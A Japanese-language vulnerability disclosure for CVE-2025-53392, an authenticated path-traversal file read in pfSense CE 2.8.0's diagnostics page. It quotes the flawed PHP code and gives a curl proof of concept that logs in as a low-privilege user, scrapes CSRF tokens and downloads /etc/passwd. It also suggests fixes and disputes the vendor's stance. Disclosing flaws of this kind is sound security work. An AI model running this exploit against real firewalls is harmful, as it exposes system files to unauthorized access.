
認証済み任意ファイル読み取り - pfSense 2.8.0の診断Webインターフェースを介した (CVE-2025-53392)
CVE-2025-53392CWE-36 (絶対パストラバーサル)CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N認可されたテストおよび研究目的のみに使用してください。 所有していない、または明示的なテスト許可を得ていないシステムでこの脆弱性をテストまたは悪用しないでください。
pfSense CE 2.8.0 には、診断ページ diag_command.php にローカルファイル開示の脆弱性が存在します。これにより、認証されたユーザーが基盤となるファイルシステムから任意のファイルをダウンロードできます。
この機能には、パスのサニタイズ、ディレクトリ制限、または権限割り当て以外のアクセス制御がまったくありません。
脆弱なロジックは src/usr/local/www/diag_command.php ファイルにあります:
if ($_POST['submit'] == "DOWNLOAD" && file_exists($_POST['dlPath'])) {
session_cache_limiter('public');
send_user_download('file', $_POST['dlPath']);
}
ユーザー制御の dlPath パラメータにはセキュリティチェックやサニタイズ対策が適用されていません。
PHP プロセスが読み取り可能なファイルパスはすべて、ユーザーにそのまま提供されます。
low-priv グループを作成し、単一の権限を割り当てる (WebCfg - Diagnostics: Command)

WebCfg - Diagnostics: Command権限にセキュリティ免責事項が存在することは認識していますが、免責事項だけでは適切なアクセス制御の代わりになりません。「診断コマンドページへのアクセスを許可する」という表現は曖昧であり、リスクを過小評価しています。これは診断アクセスではなく、無制限のルートレベルコマンド実行を可能にします。
Web インターフェースの権限ラベルは、特に完全な管理制御を公開する場合には、許可するアクションの範囲と重大度を正確に反映しなければなりません。
dev ユーザーに low-priv グループを割り当てる

この概念実証では、WebCfg - Diagnostics: Command 権限のみが割り当てられたユーザーが、サニタイズされていない dlPath パラメータを悪用して /etc/passwd を外部に持ち出せることを示します。
# 1. セッションを開始し、CSRFトークンを抽出
curl -k -c cookies.txt -s https://<IP>/diag_command.php > login_page.html
csrf_token=$(grep '__csrf_magic' login_page.html | grep 'value=' | sed -E 's/.*value="([^"]+)".*/\1/')
# 2. 低権限ユーザー "dev" として認証
curl -k -b cookies.txt -c cookies.txt \
-d "__csrf_magic=$csrf_token" \
-d "usernamefld=dev" \
-d "passwordfld=pass" \
-d "login=Sign+In" \
https://<IP>/index.php > /dev/null
# 3. ログイン後のCSRFトークンを取得
curl -k -b cookies.txt -s https://<IP>/diag_command.php > diag_authed.html
csrf_token=$(grep '__csrf_magic' diag_authed.html | grep 'value=' | sed -E 's/.*value="([^"]+)".*/\1/')
# 4. 任意のファイルを外部に持ち出す(例:/etc/passwd)
curl -k -b cookies.txt -s -X POST https://<IP>/diag_command.php \
-d "__csrf_magic=$csrf_token" \
-d "submit=DOWNLOAD" \
-d "dlPath=/etc/passwd"

WebCfg - Diagnostics: Command 権限が割り当てられた pfSense ユーザーは以下を実行できます:
これは最小権限の原則に違反し、論理的な権限境界を破ります。
realpath() とプレフィックス強制を使用して dlPath を安全なベースディレクトリ(例:/tmp)に制限する.. または絶対パスを含むパスを削除またはブロックするCVE-2025-53392 を割り当て、ベンダーの異議ありタグ付きベンダーはこのページへのアクセスはルート権限と同等であると主張していますが、これは Web レベルの権限と無制限のバックエンドアクセスを混同しています。
権限は技術的に強制されるべきであり(想定されるべきではない)、UI の警告はセキュアな設計の代わりにはなりません。
ベンダーの「この機能は十分に文書化されている」という主張に異議を唱えます。WebCfg - Diagnostics: Command 権限がルートレベルのアクセスと同等であるという言及は、pfSense のユーザー権限ドキュメントには見つかりませんでした。

ベンダーは診断コマンドページを参照していた可能性があります。そこには誤用に関する一般的な警告が含まれています。
しかし、ドキュメントではこの機能を WebCfg - Diagnostics: Command 権限に明示的に結び付けたり、ルートレベルのアクセスを許可することを明確にしたりしていません。
ファイアウォールの Web インターフェース内の診断モジュールには、基盤となるオペレーティングシステムに対する悪用を防ぐための適切な保護策が含まれている必要があります。
この作業は私の雇用外で行われたものであり、サイバーセキュリティ研究における個人的な取り組みを反映しています。